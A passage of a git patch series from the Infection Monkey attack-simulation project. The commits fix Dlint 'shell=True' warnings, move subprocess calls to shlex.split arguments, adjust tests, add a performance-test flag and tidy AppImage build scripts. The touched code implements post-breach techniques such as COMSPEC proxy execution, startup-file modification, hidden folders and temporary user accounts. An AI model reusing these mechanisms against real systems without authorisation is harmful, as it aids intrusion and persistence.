782f85d1330..ed9b1dc2195 100644 --- a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py +++ b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py @@ -21,10 +21,9 @@ def run(self): try: original_comspec = "" if is_windows_os(): - original_comspec = subprocess.check_output( + original_comspec = subprocess.check_output( # noqa: DUO116 "if defined COMSPEC echo %COMSPEC%", shell=True - ).decode() # noqa: DUO116 - + ).decode() super().run() except Exception as e: LOG.warning( diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index a87cfec4898..bf0e66ed4c1 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -90,7 +90,7 @@ def _execute_default(self): :return: Tuple of command's output string and boolean, indicating if it succeeded """ try: - output = subprocess.check_output( + output = subprocess.check_output( # noqa: DUO116 self.command, stderr=subprocess.STDOUT, shell=True ).decode() return output, True diff --git a/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py b/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py index e6589309571..62fd9425e41 100644 --- a/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py +++ b/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py @@ -13,8 +13,10 @@ def get_windows_commands_to_modify_shell_startup_files(): # get list of usernames USERS = ( - subprocess.check_output("dir C:\\Users /b", shell=True).decode().split("\r\n")[:-1] - ) # noqa: DUO116 + subprocess.check_output("dir C:\\Users /b", shell=True) # noqa: DUO116 + .decode() + .split("\r\n")[:-1] + ) USERS.remove("Public") STARTUP_FILES_PER_USER = [ diff --git a/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py index cfabaafecf2..12343d8cf04 100644 --- a/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py +++ b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py @@ -15,7 +15,7 @@ def get_commands_to_proxy_execution_using_signed_script(): def cleanup_changes(original_comspec): if is_windows_os(): - subprocess.run( + subprocess.run( # noqa: DUO116 get_windows_commands_to_reset_comspec(original_comspec), shell=True - ) # noqa: DUO116 + ) subprocess.run(get_windows_commands_to_delete_temp_comspec(), shell=True) # noqa: DUO116 diff --git a/monkey/infection_monkey/utils/hidden_files.py b/monkey/infection_monkey/utils/hidden_files.py index cc973cc5ebe..92391ecc92a 100644 --- a/monkey/infection_monkey/utils/hidden_files.py +++ b/monkey/infection_monkey/utils/hidden_files.py @@ -26,9 +26,9 @@ def get_commands_to_hide_folders(): def cleanup_hidden_files(is_windows=is_windows_os()): - subprocess.run( + subprocess.run( # noqa: DUO116 get_windows_commands_to_delete() - if is_windows # noqa: DUO116 + if is_windows else " ".join(get_linux_commands_to_delete()), shell=True, ) From 294e8fe56adb2a2f356a07ab2c9d988014db88ea Mon Sep 17 00:00:00 2001 From: Shreya Date: Sat, 24 Apr 2021 21:08:59 +0530 Subject: [PATCH 0307/1360] Fix DU0116 warnings in blackbox tests by ignoring them --- .../blackbox/utils/gcp_machine_handlers.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py index 00279ea8b21..147958fe2cc 100644 --- a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py +++ b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py @@ -23,9 +23,9 @@ def __init__( subprocess.call(GCPHandler.get_auth_command(key_path), shell=True) # noqa: DUO116 LOGGER.info("GCP Handler passed key") # set project - subprocess.call( + subprocess.call( # noqa: DUO116 GCPHandler.get_set_project_command(project_id), shell=True - ) # noqa: DUO116 + ) LOGGER.info("GCP Handler set project") LOGGER.info("GCP Handler initialized successfully") except Exception as e: @@ -39,18 +39,18 @@ def start_machines(self, machine_list): """ LOGGER.info("Setting up all GCP machines...") try: - subprocess.call( + subprocess.call( # noqa: DUO116 (GCPHandler.MACHINE_STARTING_COMMAND % (machine_list, self.zone)), shell=True - ) # noqa: DUO116 + ) LOGGER.info("GCP machines successfully started.") except Exception as e: LOGGER.error("GCP Handler failed to start GCP machines: %s" % e) def stop_machines(self, machine_list): try: - subprocess.call( + subprocess.call( # noqa: DUO116 (GCPHandler.MACHINE_STOPPING_COMMAND % (machine_list, self.zone)), shell=True - ) # noqa: DUO116 + ) LOGGER.info("GCP machines stopped successfully.") except Exception as e: LOGGER.error("GCP Handler failed to stop network machines: %s" % e) From 410cbadbb3fab7303dbb1109008fd4356cea4a0f Mon Sep 17 00:00:00 2001 From: Shreya Date: Sun, 25 Apr 2021 00:25:13 +0530 Subject: [PATCH 0308/1360] Fix DUO116 warnings for: - monkey/infection_monkey/dropper.py - monkey/infection_monkey/system_info/windows_info_collector.py - monkey/infection_monkey/utils/windows/users.py - monkey/infection_monkey/windows_upgrader.py --- monkey/infection_monkey/dropper.py | 6 ++++-- .../system_info/windows_info_collector.py | 5 +++-- monkey/infection_monkey/utils/windows/users.py | 10 +++------- monkey/infection_monkey/windows_upgrader.py | 6 ++++-- 4 files changed, 14 insertions(+), 13 deletions(-) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 3d34688efc8..3b7bba81826 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -4,6 +4,7 @@ import logging import os import pprint +import shlex import shutil import subprocess import sys @@ -164,9 +165,10 @@ def start(self): "monkey_commandline": inner_monkey_cmdline, } + monkey_cmdline_split = shlex.split(monkey_cmdline) + monkey_process = subprocess.Popen( - monkey_cmdline, - shell=True, + monkey_cmdline_split, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index f978a9942e0..cc46aae93fc 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -1,4 +1,5 @@ import logging +import shlex import subprocess import sys @@ -51,10 +52,10 @@ def get_info(self): def get_installed_packages(self): LOG.info("Getting installed packages") - packages = subprocess.check_output("dism /online /get-packages", shell=True) + packages = subprocess.check_output(shlex.split("dism /online /get-packages")) self.info["installed_packages"] = packages.decode("utf-8", errors="ignore") - features = subprocess.check_output("dism /online /get-features", shell=True) + features = subprocess.check_output(shlex.split("dism /online /get-features")) self.info["installed_features"] = features.decode("utf-8", errors="ignore") LOG.debug("Got installed packages") diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py index d27b74547a9..06e6267830f 100644 --- a/monkey/infection_monkey/utils/windows/users.py +++ b/monkey/infection_monkey/utils/windows/users.py @@ -39,7 +39,7 @@ def __init__(self, username, password): windows_cmds = get_windows_commands_to_add_user(self.username, self.password, True) logger.debug("Trying to add {} with commands {}".format(self.username, str(windows_cmds))) - _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True) + _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT) def __enter__(self): # Importing these only on windows, as they won't exist on linux. @@ -127,9 +127,7 @@ def try_deactivate_user(self): self.username, str(commands_to_deactivate_user) ) ) - _ = subprocess.check_output( - commands_to_deactivate_user, stderr=subprocess.STDOUT, shell=True - ) + _ = subprocess.check_output(commands_to_deactivate_user, stderr=subprocess.STDOUT) except Exception as err: raise NewUserError("Can't deactivate user {}. Info: {}".format(self.username, err)) @@ -141,8 +139,6 @@ def try_delete_user(self): self.username, str(commands_to_delete_user) ) ) - _ = subprocess.check_output( - commands_to_delete_user, stderr=subprocess.STDOUT, shell=True - ) + _ = subprocess.check_output(commands_to_delete_user, stderr=subprocess.STDOUT) except Exception as err: raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err)) diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index cea71a3267c..8739ae55672 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -1,4 +1,5 @@ import logging +import shlex import shutil import subprocess import sys @@ -50,9 +51,10 @@ def upgrade(opts): + monkey_options ) + monkey_cmdline_split = shlex.split(monkey_cmdline) + monkey_process = subprocess.Popen( - monkey_cmdline, - shell=True, + monkey_cmdline_split, stdin=None, stdout=None, stderr=None, From 9602a67d28995f8d57db77946715833950d6c17f Mon Sep 17 00:00:00 2001 From: Shreya Date: Sun, 25 Apr 2021 00:31:21 +0530 Subject: [PATCH 0309/1360] Modify unit tests: tests/infection_monkey/utils/linux/test_users.py --- monkey/tests/infection_monkey/utils/linux/test_users.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/tests/infection_monkey/utils/linux/test_users.py b/monkey/tests/infection_monkey/utils/linux/test_users.py index 67a3a35d428..8b0408c0a04 100644 --- a/monkey/tests/infection_monkey/utils/linux/test_users.py +++ b/monkey/tests/infection_monkey/utils/linux/test_users.py @@ -9,7 +9,7 @@ @pytest.fixture def subprocess_check_output_spy(monkeypatch): - def mock_check_output(command, stderr, shell): + def mock_check_output(command, stderr): mock_check_output.command = command mock_check_output.command = "" @@ -21,11 +21,11 @@ def mock_check_output(command, stderr, shell): def test_new_user_expires(subprocess_check_output_spy): with (AutoNewLinuxUser(TEST_USER, "password")): - assert "--expiredate" in subprocess_check_output_spy.command - assert "--inactive 0" in subprocess_check_output_spy.command + assert "--expiredate" in " ".join(subprocess_check_output_spy.command) + assert "--inactive 0" in " ".join(subprocess_check_output_spy.command) def test_new_user_try_delete(subprocess_check_output_spy): with (AutoNewLinuxUser(TEST_USER, "password")): pass - assert f"deluser {TEST_USER}" in subprocess_check_output_spy.command + assert f"deluser {TEST_USER}" in " ".join(subprocess_check_output_spy.command) From b50faceba72d25c4e40cd045a335423bc1648dc6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 26 Apr 2021 12:03:16 -0400 Subject: [PATCH 0310/1360] Add a changelog entry for dlint work --- CHANGELOG.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 022fba9e46f..cc8ee9c965b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -25,3 +25,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Fixed - Attempted to delete a directory when monkey config reset was called. #1054 + +### Security +- Address minor issues discovered by Dlint. #1075 From d4e277c70b24364e1ad7eaddeae3f6e9dba56032 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 28 Apr 2021 18:57:04 +0530 Subject: [PATCH 0311/1360] Modify what commands are passed to `subprocess.Popen` in the dropper and windows_upgrader --- monkey/infection_monkey/dropper.py | 52 +++++++++++---------- monkey/infection_monkey/windows_upgrader.py | 5 +- 2 files changed, 32 insertions(+), 25 deletions(-) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 3b7bba81826..ec0c5c03e27 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -14,11 +14,7 @@ from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.config import WormConfiguration from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly -from infection_monkey.model import ( - GENERAL_CMDLINE_LINUX, - MONKEY_CMDLINE_LINUX, - MONKEY_CMDLINE_WINDOWS, -) +from infection_monkey.model import MONKEY_CMDLINE_LINUX, MONKEY_CMDLINE_WINDOWS from infection_monkey.system_info import OperatingSystem, SystemInfoCollector from infection_monkey.telemetry.attack.t1106_telem import T1106Telem @@ -151,30 +147,38 @@ def start(self): MONKEY_CMDLINE_WINDOWS % {"monkey_path": self._config["destination_path"]} + monkey_options ) + monkey_cmdline_split = shlex.split( + monkey_cmdline, + posix=False, # won't try resolving "\" in paths as part of escape sequences + ) + + monkey_process = subprocess.Popen( + monkey_cmdline_split, + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + close_fds=True, + creationflags=DETACHED_PROCESS, + ) else: dest_path = self._config["destination_path"] - # In linux we have a more complex commandline. There's a general outer one, - # and the inner one which actually - # runs the monkey - inner_monkey_cmdline = ( + # In Linux, we need to change the directory first, which is done + # using thw `cwd` argument in `subprocess.Popen` below + monkey_cmdline = ( MONKEY_CMDLINE_LINUX % {"monkey_filename": dest_path.split("/")[-1]} + monkey_options ) - monkey_cmdline = GENERAL_CMDLINE_LINUX % { - "monkey_directory": dest_path[0 : dest_path.rfind("/")], - "monkey_commandline": inner_monkey_cmdline, - } - - monkey_cmdline_split = shlex.split(monkey_cmdline) - - monkey_process = subprocess.Popen( - monkey_cmdline_split, - stdin=subprocess.PIPE, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - close_fds=True, - creationflags=DETACHED_PROCESS, - ) + monkey_cmdline_split = shlex.split(monkey_cmdline) + + monkey_process = subprocess.Popen( + monkey_cmdline_split, + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + close_fds=True, + cwd="/".join(dest_path.split("/")[0:-1]), + creationflags=DETACHED_PROCESS, + ) LOG.info( "Executed monkey process (PID=%d) with command line: %s", diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index 8739ae55672..db1446a4566 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -51,7 +51,10 @@ def upgrade(opts): + monkey_options ) - monkey_cmdline_split = shlex.split(monkey_cmdline) + monkey_cmdline_split = shlex.split( + monkey_cmdline, + posix=False, # won't try resolving "\" in paths as part of escape sequences + ) monkey_process = subprocess.Popen( monkey_cmdline_split, From e5935e43c1eb2afb26036641efee76937f5d0cc3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 28 Apr 2021 11:00:53 -0400 Subject: [PATCH 0312/1360] agent: Add TODOs regarding string templates. --- monkey/infection_monkey/dropper.py | 4 ++++ monkey/infection_monkey/windows_upgrader.py | 2 ++ 2 files changed, 6 insertions(+) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index ec0c5c03e27..902d3028091 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -143,6 +143,8 @@ def start(self): ) if OperatingSystem.Windows == SystemInfoCollector.get_os(): + # TODO: Replace all of this string templating with a function that accepts + # the necessary parameters and returns a list of arguments. monkey_cmdline = ( MONKEY_CMDLINE_WINDOWS % {"monkey_path": self._config["destination_path"]} + monkey_options @@ -164,6 +166,8 @@ def start(self): dest_path = self._config["destination_path"] # In Linux, we need to change the directory first, which is done # using thw `cwd` argument in `subprocess.Popen` below + # TODO: Replace all of this string templating with a function that accepts + # the necessary parameters and returns a list of arguments. monkey_cmdline = ( MONKEY_CMDLINE_LINUX % {"monkey_filename": dest_path.split("/")[-1]} + monkey_options diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index db1446a4566..d81b7dc522b 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -46,6 +46,8 @@ def upgrade(opts): opts.parent, opts.tunnel, opts.server, opts.depth ) + # TODO: Replace all of this string templating with a function that accepts + # the necessary parameters and returns a list of arguments. monkey_cmdline = ( MONKEY_CMDLINE_WINDOWS % {"monkey_path": WormConfiguration.dropper_target_path_win_64} + monkey_options From 78ca2c25b14d20cc86869145dcf2018cafe4fc20 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 28 Apr 2021 12:18:26 -0400 Subject: [PATCH 0313/1360] deploy: Remove unnecessary recursive chmod --- deployment_scripts/deploy_linux.sh | 1 - monkey/monkey_island/linux/run.sh | 0 2 files changed, 1 deletion(-) mode change 100644 => 100755 monkey/monkey_island/linux/run.sh diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 0aa018534ba..0d3fc82d274 100755 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -94,7 +94,6 @@ branch=${2:-"develop"} log_message "Branch selected: ${branch}" if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error - chmod 774 -R "${monkey_home}" fi # Create folders diff --git a/monkey/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh old mode 100644 new mode 100755 From 9a169629bf6f204f833d6c4d7809d8df7c24c420 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 29 Apr 2021 15:45:39 +0300 Subject: [PATCH 0314/1360] Added an option to skip performance during blackbox tests --- envs/monkey_zoo/blackbox/conftest.py | 13 +++++++++++++ envs/monkey_zoo/blackbox/test_blackbox.py | 3 +++ 2 files changed, 16 insertions(+) diff --git a/envs/monkey_zoo/blackbox/conftest.py b/envs/monkey_zoo/blackbox/conftest.py index 21686f0fe4d..9004ae9216d 100644 --- a/envs/monkey_zoo/blackbox/conftest.py +++ b/envs/monkey_zoo/blackbox/conftest.py @@ -21,6 +21,12 @@ def pytest_addoption(parser): help="If enabled performance tests won't reset island and won't send telemetries, " "instead will just test performance of already present island state.", ) + parser.addoption( + "--no-performance-tests", + action="store_true", + default=False, + help="If enabled all performance tests will be skipped.", + ) @pytest.fixture(scope="session") @@ -36,3 +42,10 @@ def no_gcp(request): @pytest.fixture(scope="session") def quick_performance_tests(request): return request.config.getoption("--quick-performance-tests") + + +def pytest_runtest_setup(item): + if "no_performance_tests" in item.keywords and item.config.getoption("--no-performance-tests"): + pytest.skip( + "Skipping performance test because " "--no-performance-tests flag is specified." + ) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 3da99becf95..0d90fc6c6ab 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -254,12 +254,15 @@ def test_map_generation_performance(self, island_client, quick_performance_tests LOGGER.error("This test doesn't support 'quick_performance_tests' option.") assert False + @pytest.mark.no_performance_tests def test_report_generation_from_fake_telemetries(self, island_client, quick_performance_tests): ReportGenerationFromTelemetryTest(island_client, quick_performance_tests).run() + @pytest.mark.no_performance_tests def test_map_generation_from_fake_telemetries(self, island_client, quick_performance_tests): MapGenerationFromTelemetryTest(island_client, quick_performance_tests).run() + @pytest.mark.no_performance_tests def test_telem_performance(self, island_client, quick_performance_tests): TelemetryPerformanceTest( island_client, quick_performance_tests From 5f9672c4c4c7d5d6b89de9d53dea8b8686ebb4f6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 29 Apr 2021 17:42:59 +0300 Subject: [PATCH 0315/1360] Changed --no-performance-tests to --run-performance-tests for convenience (skipping performance tests by default) and documented changes in CHANGELOG.md --- CHANGELOG.md | 2 ++ envs/monkey_zoo/blackbox/conftest.py | 10 ++++++---- envs/monkey_zoo/blackbox/test_blackbox.py | 6 +++--- 3 files changed, 11 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index cc8ee9c965b..9a51d264216 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -22,6 +22,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Use pipenv for python dependency management. #1091 - Moved unit tests to a dedicated `tests/` directory to improve pytest collection time. #1102 +- Added `--run-performance-tests` flag to BB tests. If this flag is not specified, + performance tests are skipped. ### Fixed - Attempted to delete a directory when monkey config reset was called. #1054 diff --git a/envs/monkey_zoo/blackbox/conftest.py b/envs/monkey_zoo/blackbox/conftest.py index 9004ae9216d..cc608fae8fe 100644 --- a/envs/monkey_zoo/blackbox/conftest.py +++ b/envs/monkey_zoo/blackbox/conftest.py @@ -22,10 +22,10 @@ def pytest_addoption(parser): "instead will just test performance of already present island state.", ) parser.addoption( - "--no-performance-tests", + "--run-performance-tests", action="store_true", default=False, - help="If enabled all performance tests will be skipped.", + help="If enabled performance tests will be run.", ) @@ -45,7 +45,9 @@ def quick_performance_tests(request): def pytest_runtest_setup(item): - if "no_performance_tests" in item.keywords and item.config.getoption("--no-performance-tests"): + if "run_performance_tests" in item.keywords and not item.config.getoption( + "--run-performance-tests" + ): pytest.skip( - "Skipping performance test because " "--no-performance-tests flag is specified." + "Skipping performance test because " "--run-performance-tests flag isn't specified." ) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 0d90fc6c6ab..4de60ef55de 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -254,15 +254,15 @@ def test_map_generation_performance(self, island_client, quick_performance_tests LOGGER.error("This test doesn't support 'quick_performance_tests' option.") assert False - @pytest.mark.no_performance_tests + @pytest.mark.run_performance_tests def test_report_generation_from_fake_telemetries(self, island_client, quick_performance_tests): ReportGenerationFromTelemetryTest(island_client, quick_performance_tests).run() - @pytest.mark.no_performance_tests + @pytest.mark.run_performance_tests def test_map_generation_from_fake_telemetries(self, island_client, quick_performance_tests): MapGenerationFromTelemetryTest(island_client, quick_performance_tests).run() - @pytest.mark.no_performance_tests + @pytest.mark.run_performance_tests def test_telem_performance(self, island_client, quick_performance_tests): TelemetryPerformanceTest( island_client, quick_performance_tests From 3a25c2d7484515d056547a7c805e19b8bb49aa2b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 30 Apr 2021 09:38:45 +0300 Subject: [PATCH 0316/1360] Improved --run-performance-tests flag entry on CHANGELOG.md --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9a51d264216..abdb4010d92 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -22,7 +22,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Use pipenv for python dependency management. #1091 - Moved unit tests to a dedicated `tests/` directory to improve pytest collection time. #1102 -- Added `--run-performance-tests` flag to BB tests. If this flag is not specified, +- Changed default BB test suite: if `--run-performance-tests` flag is not specified, performance tests are skipped. ### Fixed From 408a0de4f0d22ecc303c50d5a0cab8c27a503df7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 20 Apr 2021 20:18:22 -0400 Subject: [PATCH 0317/1360] appimage: remove node_modules from appdir The node modules do not need to be deliverer with the appimage. Removing them from the AppDir saves 50MB. --- appimage/build_appimage.sh | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index d4c6b6251af..2edc0d15ca9 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -179,13 +179,21 @@ generate_ssl_cert() { } build_frontend() { - pushd "$ISLAND_PATH/cc/ui" || handle_error - npm install sass-loader node-sass webpack --save-dev - npm update + pushd "$ISLAND_PATH/cc/ui" || handle_error + npm install sass-loader node-sass webpack --save-dev + npm update - log_message "Generating front end" - npm run dist - popd || handle_error + log_message "Generating front end" + npm run dist + popd || handle_error + + remove_node_modules +} + +remove_node_modules() { + # Node has served its purpose. We don't need to deliver the node modules with + # the AppImage. + rm -rf "$ISLAND_PATH"/cc/ui/node_modules } add_monkey_icon() { From c33f9cf83c6b5547967f2895fe8635501e8e77d5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 21 Apr 2021 07:32:35 -0400 Subject: [PATCH 0318/1360] appimage: Upgrade from Python 3.7.9 -> 3.7.10 --- appimage/build_appimage.sh | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index 2edc0d15ca9..26f31f09446 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -15,7 +15,8 @@ ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries" NODE_SRC=https://deb.nodesource.com/setup_12.x APP_TOOL_URL=https://github.com/AppImage/AppImageKit/releases/download/12/appimagetool-x86_64.AppImage -PYTHON_APPIMAGE_URL="https://github.com/niess/python-appimage/releases/download/python3.7/python3.7.9-cp37-cp37m-manylinux1_x86_64.AppImage" +PYTHON_VERSION="3.7.10" +PYTHON_APPIMAGE_URL="https://github.com/niess/python-appimage/releases/download/python3.7/python${PYTHON_VERSION}-cp37-cp37m-manylinux1_x86_64.AppImage" is_root() { return "$(id -u)" @@ -103,7 +104,7 @@ setup_appdir() { } setup_python_37_appdir() { - PYTHON_APPIMAGE="python3.7.9_x86_64.AppImage" + PYTHON_APPIMAGE="python${PYTHON_VERSION}_x86_64.AppImage" rm -rf "$APPDIR" || true log_message "downloading Python3.7 Appimage" @@ -204,7 +205,7 @@ add_monkey_icon() { } add_desktop_file() { - unlink "$APPDIR"/python3.7.9.desktop + unlink "$APPDIR/python${PYTHON_VERSION}.desktop" cp ./infection-monkey.desktop "$APPDIR"/usr/share/applications ln -s "$APPDIR"/usr/share/applications/infection-monkey.desktop "$APPDIR"/infection-monkey.desktop } From 7276760c6a570aeb321c0522fdef0e2521e65318 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 26 Apr 2021 07:05:05 -0400 Subject: [PATCH 0319/1360] appimage: Remove unnecessary recursive chmod in clone_monkey_repo() --- appimage/build_appimage.sh | 2 -- 1 file changed, 2 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index 26f31f09446..d04af81cf41 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -82,8 +82,6 @@ clone_monkey_repo() { log_message "Cloning files from git" branch=${1:-"develop"} git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${REPO_MONKEY_HOME}" 2>&1 || handle_error - - chmod 774 -R "${REPO_MONKEY_HOME}" } setup_appdir() { From c47f5a59120e788cdd16efc353e45b7154fccc3e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 29 Apr 2021 11:50:22 -0400 Subject: [PATCH 0320/1360] appimage: Relocate squashfs-root/ to same dir as build_appimage.sh --- appimage/README.md | 2 +- appimage/build_appimage.sh | 3 +-- appimage/clean.sh | 2 +- 3 files changed, 3 insertions(+), 4 deletions(-) diff --git a/appimage/README.md b/appimage/README.md index b1c3010e486..95ff4d42df5 100644 --- a/appimage/README.md +++ b/appimage/README.md @@ -18,7 +18,7 @@ NOTE: This script is intended to be run from a clean VM. You can also manually remove build artifacts by removing the following files and directories. - $HOME/.monkey_island (optional) -- $HOME/squashfs-root +- $HOME/appimage/squashfs-root - $HOME/git/monkey - $HOME/appimage/Infection_Monkey-x86_64.AppImage diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index d04af81cf41..d978f2d4963 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -1,6 +1,6 @@ #!/bin/bash -APPDIR="$HOME/squashfs-root" +APPDIR="./squashfs-root" CONFIG_URL="https://raw.githubusercontent.com/guardicore/monkey/develop/deployment_scripts/config" INSTALL_DIR="$APPDIR/usr/src" @@ -112,7 +112,6 @@ setup_python_37_appdir() { ./"$PYTHON_APPIMAGE" --appimage-extract rm "$PYTHON_APPIMAGE" - mv ./squashfs-root "$APPDIR" mkdir -p "$INSTALL_DIR" } diff --git a/appimage/clean.sh b/appimage/clean.sh index 45d6e175556..5e2fd443a06 100755 --- a/appimage/clean.sh +++ b/appimage/clean.sh @@ -4,6 +4,6 @@ # in order to speed up development and debugging. rm -rf "$HOME/.monkey_island" -rm -rf "$HOME/squashfs-root" +rm -rf "$HOME/appimage/squashfs-root" rm -rf "$HOME/git/monkey" rm "$HOME/appimage/Infection_Monkey-x86_64.AppImage" From 1f4af6827840b203389a9266fcbe70b9ac68b663 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 29 Apr 2021 12:34:04 -0400 Subject: [PATCH 0321/1360] appimage: Use $WORKSPACE variable if present Jenkins sets a $WORKSPACE environment variable. We'll use this if it's been set. Otherwise, use $HOME. --- appimage/build_appimage.sh | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index d978f2d4963..e39a854541c 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -1,10 +1,12 @@ #!/bin/bash -APPDIR="./squashfs-root" +WORKSPACE=${WORKSPACE:-$HOME} + +APPDIR="$PWD/squashfs-root" CONFIG_URL="https://raw.githubusercontent.com/guardicore/monkey/develop/deployment_scripts/config" INSTALL_DIR="$APPDIR/usr/src" -GIT=$HOME/git +GIT=$WORKSPACE/git REPO_MONKEY_HOME=$GIT/monkey REPO_MONKEY_SRC=$REPO_MONKEY_HOME/monkey @@ -55,13 +57,13 @@ install_build_prereqs() { } install_appimage_tool() { - APP_TOOL_BIN=$HOME/bin/appimagetool + APP_TOOL_BIN=$WORKSPACE/bin/appimagetool - mkdir -p "$HOME"/bin + mkdir -p "$WORKSPACE"/bin curl -L -o "$APP_TOOL_BIN" "$APP_TOOL_URL" chmod u+x "$APP_TOOL_BIN" - PATH=$PATH:$HOME/bin + PATH=$PATH:$WORKSPACE/bin } load_monkey_binary_config() { From 84c875c3969ae6b776eaffa242a1d8bda9a3d79d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 29 Apr 2021 12:36:29 -0400 Subject: [PATCH 0322/1360] appimage: Only load 